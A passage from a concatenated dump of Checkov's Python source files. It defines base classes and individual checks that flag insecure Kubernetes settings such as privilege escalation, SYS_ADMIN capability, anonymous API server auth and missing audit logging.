all checks are scanned if any("_" in check_id for check_id in check_id_allowlist) or runner_filter.check_threshold: # a Kubernetes namespace can't have an '_' in its name, # therefore we assume it is a built-in or custom check if not runner_filter.should_run_check(check=check, report_type=report_type): return False allowed_namespaces = [check_id for check_id in check_id_allowlist if "_" not in check_id] if allowed_namespaces: # Check if namespace in allowed namespaces if "metadata" in entity_configuration and "namespace" in entity_configuration["metadata"]: if entity_configuration["metadata"]["namespace"] in allowed_namespaces: return True elif "parent_metadata" in entity_configuration and "namespace" in entity_configuration["parent_metadata"]: if entity_configuration["parent_metadata"]["namespace"] in allowed_namespaces: return True else: if "default" in allowed_namespaces: return True else: # No namespaces to filter return True elif check_id_denylist or runner_filter.skip_check_threshold or runner_filter.use_enforcement_rules: namespace_skip = False if "metadata" in entity_configuration and "namespace" in entity_configuration["metadata"]: if entity_configuration["metadata"]["namespace"] in check_id_denylist: namespace_skip = True elif "parent_metadata" in entity_configuration and "namespace" in entity_configuration["parent_metadata"]: if entity_configuration["parent_metadata"]["namespace"] in check_id_denylist: namespace_skip = True else: if "default" in check_id_denylist: namespace_skip = True if runner_filter.should_run_check(check=check, report_type=report_type) and not namespace_skip: return True else: return True return False ================================================ FILE: checkov/kubernetes/checks/resource/base_root_container_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Dict, Any, Optional from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.kubernetes.checks.resource.registry import registry class BaseK8sRootContainerCheck(BaseK8Check): def __init__( self, name: str, id: str, guideline: Optional[str] = None, ) -> None: supported_kind = ('Pod', 'Deployment', 'DaemonSet', 'StatefulSet', 'ReplicaSet', 'ReplicationController', 'Job', 'CronJob') categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind, guideline=guideline) registry.register(self) @abstractmethod def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult: """Return result of Kubernetes rooot container check.""" raise NotImplementedError() def extract_spec(self, conf: Dict[str, Any]) -> Dict[str, Any]: spec = {} if conf['kind'] == 'Pod': if "spec" in conf: spec = conf["spec"] elif conf['kind'] == 'CronJob': inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec return spec @staticmethod def check_runAsNonRoot(spec: dict[str, Any]) -> str: if not isinstance(spec, dict): return "ABSENT" security_context = spec.get("securityContext") if security_context and isinstance(security_context, dict) and "runAsNonRoot" in security_context: if security_context["runAsNonRoot"]: return "PASSED" else: return "FAILED" return "ABSENT" @staticmethod def check_runAsUser(spec: Dict[str, Any], uid: int) -> str: if isinstance(spec, dict) and spec.get("securityContext") and isinstance(spec.get("securityContext"), dict) and "runAsUser" in spec["securityContext"]: if isinstance(spec["securityContext"]["runAsUser"], int) and spec["securityContext"]["runAsUser"] >= uid: return "PASSED" else: return "FAILED" return "ABSENT" ================================================ FILE: checkov/kubernetes/checks/resource/base_spec_check.py ================================================ from abc import abstractmethod from collections.abc import Iterable from typing import Dict, Any, Optional from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.registry import registry class BaseK8Check(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_entities: "Iterable[str]", guideline: Optional[str] = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type="k8", guideline=guideline ) self.supported_specs = supported_entities registry.register(self) def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult: self.entity_type = entity_type return self.scan_spec_conf(conf) @abstractmethod def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult: """Return result of Kubernetes object check.""" raise NotImplementedError() ================================================ FILE: checkov/kubernetes/checks/resource/base_spec_omitted_or_value_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Any, TYPE_CHECKING import dpath from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories from collections.abc import Iterable class BaseSpecOmittedOrValueCheck(BaseK8Check): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str] ) -> None: super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: inspected_key = self.get_inspected_key() if dpath.search(conf, inspected_key, yielded=False) != {}: if dpath.get(conf, inspected_key) != self.get_expected_value(): return CheckResult.FAILED return CheckResult.PASSED @abstractmethod def get_inspected_key(self) -> str: raise NotImplementedError() def get_expected_value(self) -> Any: # default expected value. can be override by derived class return False ================================================ FILE: checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalation.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class AllowPrivilegeEscalation(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.3 1.7.5 # CIS-1.5 5.2.5 # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # https://kubernetes.io/docs/concepts/policy/pod-security-policy/ # Default is allow / true # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN. # This could be enforced via PodSecurityPolicy name = "Containers should not run with allowPrivilegeEscalation" id = "CKV_K8S_20" # Location: container .securityContext.allowPrivilegeEscalation super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/allowPrivilegeEscalation"] if isinstance(conf, dict) and conf.get("securityContext"): if conf["securityContext"].get("allowPrivilegeEscalation") is False: return CheckResult.PASSED return CheckResult.FAILED check = AllowPrivilegeEscalation() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/AllowPrivilegeEscalationPSP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class AllowPrivilegeEscalationPSP(BaseK8Check): def __init__(self) -> None: # CIS-1.3 1.7.5 # CIS-1.5 5.2.5 # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ # AllowPrivilegeEscalation is true always when the container is: 1) run as Privileged OR 2) has CAP_SYS_ADMIN. # https://kubernetes.io/docs/concepts/policy/pod-security-policy/ # AllowPrivilegeEscalation - This defaults to allow to not break setuid binaries # DefaultAllowPrivilegeEscalation - Default is to allow as to not breat setuid binaries # If you omit allowPrivilegeEscalation from PSP, it defaults to true # Location: PodSecurityPolicy.spec.allowPrivilegeEscalation name = "Containers should not run with allowPrivilegeEscalation" id = "CKV_K8S_5" supported_kind = ('PodSecurityPolicy',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "spec" in conf: if "allowPrivilegeEscalation" in conf["spec"]: if conf["spec"]["allowPrivilegeEscalation"]: return CheckResult.FAILED else: return CheckResult.PASSED else: return CheckResult.FAILED return CheckResult.UNKNOWN check = AllowPrivilegeEscalationPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/AllowedCapabilities.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class AllowedCapabilities(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.5 5.2.8 name = "Minimize the admission of containers with added capability" # Do not generally permit containers with capabilities assigned beyond the default set # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities # Location: container .securityContext.capabilities id = "CKV_K8S_25" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/capabilities/add"] if conf.get("securityContext"): if conf["securityContext"].get("capabilities"): if conf["securityContext"]["capabilities"].get("add"): return CheckResult.FAILED return CheckResult.PASSED check = AllowedCapabilities() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesPSP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class AllowedCapabilities(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.2.8 name = "Do not allow containers with added capability" # No capabilities may be added beyond the default set # https://kubernetes.io/docs/concepts/policy/pod-security-policy/#capabilities # Location: PodSecurityPolicy.spec.allowedCapabilities id = "CKV_K8S_24" supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = conf.get("spec") if spec and spec.get("allowedCapabilities"): return CheckResult.FAILED return CheckResult.PASSED check = AllowedCapabilities() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class AllowedCapabilitiesSysAdmin(BaseK8sContainerCheck): def __init__(self) -> None: name = "Do not use the CAP_SYS_ADMIN linux capability" # This provides the most privilege and is similar to root # https://kubernetes.io/docs/tasks/configure-pod-container/security-context/ id = "CKV_K8S_39" # Location: container .securityContext.capabilities super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["securityContext/capabilities/add"] if conf.get("securityContext"): if conf["securityContext"].get("capabilities"): if conf["securityContext"]["capabilities"].get("add"): if "SYS_ADMIN" in conf["securityContext"]["capabilities"]["add"]: return CheckResult.FAILED return CheckResult.PASSED check = AllowedCapabilitiesSysAdmin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlAlwaysAdmit.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAdmissionControlAlwaysAdmit(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_79" name = "Ensure that the admission control plugin AlwaysAdmit is not set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "AlwaysAdmit" == value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerAdmissionControlAlwaysAdmit() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAdmissionControlEventRateLimit.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class ApiServerAdmissionControlEventRateLimit(BaseK8Check): def __init__(self) -> None: id = "CKV_K8S_78" name = "Ensure that the admission control plugin EventRateLimit is set" categories = (CheckCategories.KUBERNETES,) supported_kind = ('AdmissionConfiguration',) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "plugins" not in conf: return CheckResult.FAILED plugins = conf["plugins"] for plugin in plugins: if plugin["name"] == "EventRateLimit": return CheckResult.PASSED return CheckResult.FAILED check = ApiServerAdmissionControlEventRateLimit() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAlwaysPullImagesPlugin(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_80" name = "Ensure that the admission control plugin AlwaysPullImages is set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "AlwaysPullImages" not in value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerAlwaysPullImagesPlugin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAnonymousAuth(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_68" name = "Ensure that the --anonymous-auth argument is set to false" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: if "--anonymous-auth=false" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerAnonymousAuth() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuditLog.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuditLog(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_91" name = "Ensure that the --audit-log-path argument is set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasAuditLog = False for command in conf["command"]: if command.startswith("--audit-log-path"): hasAuditLog = True return CheckResult.PASSED if hasAuditLog else CheckResult.FAILED return CheckResult.PASSED check = ApiServerAuditLog() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxAge.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuditLogMaxAge(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_92" name = "Ensure that the --audit-log-maxage argument is set to 30 or as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasAuditLogMaxAge = False for command in conf["command"]: if command.startswith("--audit-log-maxage"): value = command.split("=")[1] hasAuditLogMaxAge = int(value) >= 30 break return CheckResult.PASSED if hasAuditLogMaxAge else CheckResult.FAILED return CheckResult.PASSED check = ApiServerAuditLogMaxAge() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxBackup.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuditLogMaxBackup(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_93" name = "Ensure that the --audit-log-maxbackup argument is set to 10 or as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasAuditLogMaxBackup = False for command in conf["command"]: if command.startswith("--audit-log-maxbackup"): value = command.split("=")[1] hasAuditLogMaxBackup = int(value) >= 10 break return CheckResult.PASSED if hasAuditLogMaxBackup else CheckResult.FAILED return CheckResult.PASSED check = ApiServerAuditLogMaxBackup() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuditLogMaxSize.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuditLogMaxSize(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_94" name = "Ensure that the --audit-log-maxsize argument is set to 100 or as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasAuditLogMaxSize = False for command in conf["command"]: if command.startswith("--audit-log-maxsize"): value = command.split("=")[1] hasAuditLogMaxSize = int(value) >= 100 break return CheckResult.PASSED if hasAuditLogMaxSize else CheckResult.FAILED return CheckResult.PASSED check = ApiServerAuditLogMaxSize() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNode.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuthorizationModeNode(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_75" name = "Ensure that the --authorization-mode argument includes Node" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasNodeAuthorizationMode = False for command in conf["command"]: if command.startswith("--authorization-mode"): modes = command.split("=")[1] if "Node" in modes.split(","): hasNodeAuthorizationMode = True return CheckResult.PASSED if hasNodeAuthorizationMode else CheckResult.FAILED return CheckResult.PASSED check = ApiServerAuthorizationModeNode() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeNotAlwaysAllow.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuthorizationModeNotAlwaysAllow(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_74" name = "Ensure that the --authorization-mode argument is not set to AlwaysAllow" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: for command in conf["command"]: if command.startswith("--authorization-mode"): modes = command.split("=")[1] if "AlwaysAllow" in modes.split(","): return CheckResult.FAILED break return CheckResult.PASSED check = ApiServerAuthorizationModeNotAlwaysAllow() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerAuthorizationModeRBAC.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerAuthorizationModeRBAC(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_77" name = "Ensure that the --authorization-mode argument includes RBAC" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasRBACAuthorizationMode = False for command in conf["command"]: if command.startswith("--authorization-mode"): modes = command.split("=")[1] if "RBAC" in modes.split(","): hasRBACAuthorizationMode = True return CheckResult.PASSED if hasRBACAuthorizationMode else CheckResult.FAILED return CheckResult.PASSED check = ApiServerAuthorizationModeRBAC() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerBasicAuthFile(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_69" name = "Ensure that the --basic-auth-file argument is not set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] command = conf.get("command") if isinstance(command, list): if "kube-apiserver" in command: if any(x.startswith("--basic-auth-file") for x in command): return CheckResult.FAILED return CheckResult.PASSED check = ApiServerBasicAuthFile() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerEncryptionProviders.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands class ApiServerEncryptionProviders(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_104" name = "Ensure that encryption providers are appropriately configured" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] keys, values = extract_commands(conf) if "kube-apiserver" in keys: if "--encryption-provider-config" not in keys: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerEncryptionProviders() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCaFile.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands class ApiServerEtcdCaFile(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_102" name = "Ensure that the --etcd-cafile argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] keys, values = extract_commands(conf) if "kube-apiserver" in keys: if "--etcd-cafile" not in keys: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerEtcdCaFile() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerEtcdCertAndKey.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerEtcdCertAndKey(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_99" name = "Ensure that the --etcd-certfile and --etcd-keyfile arguments are set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: hasCertCommand = False hasKeyCommand = False for command in conf["command"]: if command.startswith("--etcd-certfile"): hasCertCommand = True elif command.startswith("--etcd-keyfile"): hasKeyCommand = True return CheckResult.PASSED if hasCertCommand and hasKeyCommand else CheckResult.FAILED return CheckResult.PASSED check = ApiServerEtcdCertAndKey() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerInsecureBindAddress(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_86" name = "Ensure that the --insecure-bind-address argument is not set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: strippedArgs = [arg.split("=")[0] for arg in conf["command"]] if "--insecure-bind-address" in strippedArgs: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerInsecureBindAddress() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerInsecurePort(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_88" name = "Ensure that the --insecure-port argument is set to 0" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: if "--insecure-port=0" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerInsecurePort() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerKubeletClientCertAndKey.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerKubeletClientCertAndKey(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_72" name = "Ensure that the --kubelet-client-certificate and --kubelet-client-key arguments are set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: hasCertCommand = False hasKeyCommand = False for command in conf["command"]: if command.startswith("--kubelet-client-certificate"): hasCertCommand = True elif command.startswith("--kubelet-client-key"): hasKeyCommand = True return CheckResult.PASSED if hasCertCommand and hasKeyCommand else CheckResult.FAILED return CheckResult.PASSED check = ApiServerKubeletClientCertAndKey() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerKubeletHttps(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_71" name = "Ensure that the --kubelet-https argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: if "--kubelet-https=false" in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerKubeletHttps() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerNamespaceLifecyclePlugin(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_83" name = "Ensure that the admission control plugin NamespaceLifecycle is set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "NamespaceLifecycle" not in value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerNamespaceLifecyclePlugin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerNodeRestrictionPlugin(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_85" name = "Ensure that the admission control plugin NodeRestriction is set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "NodeRestriction" not in value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerNodeRestrictionPlugin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerPodSecurityPolicyPlugin(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_84" name = "Ensure that the admission control plugin PodSecurityPolicy is set" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-apiserver" in conf["command"]: for cmd in conf["command"]: if cmd == "--enable-admission-plugins": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--enable-admission-plugins": if "PodSecurityPolicy" not in value: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerPodSecurityPolicyPlugin() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class ApiServerProfiling(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_90" name = "Ensure that the --profiling argument is set to false" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command") is not None: if "kube-apiserver" in conf["command"]: if "--profiling=false" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = ApiServerProfiling() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ApiServerRequestTimeout.py ================================================ import re from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck TIMEOUT_PATTERN = re.compile(r"^(\d{1,2}[h])(\d{1,2}[m])?(\d{1,2}[s])?$|^(\d{1,2}[m])?(\d{1,2}[s])?$|^(\d{1,2}[s])$") class ApiServerRequestTimeout(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_95" name = "Ensure that the --request-timeout argument is set as appropriate" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] command = conf.get("command") if isinstance(command, list): if "kube-apiserver" in command: for cmd in command: if cmd == "--request-timeout": return CheckResult.FAILED if "=" in cmd: [field, value, *_] = cmd.split("=") if field == "--request-timeout": matches = 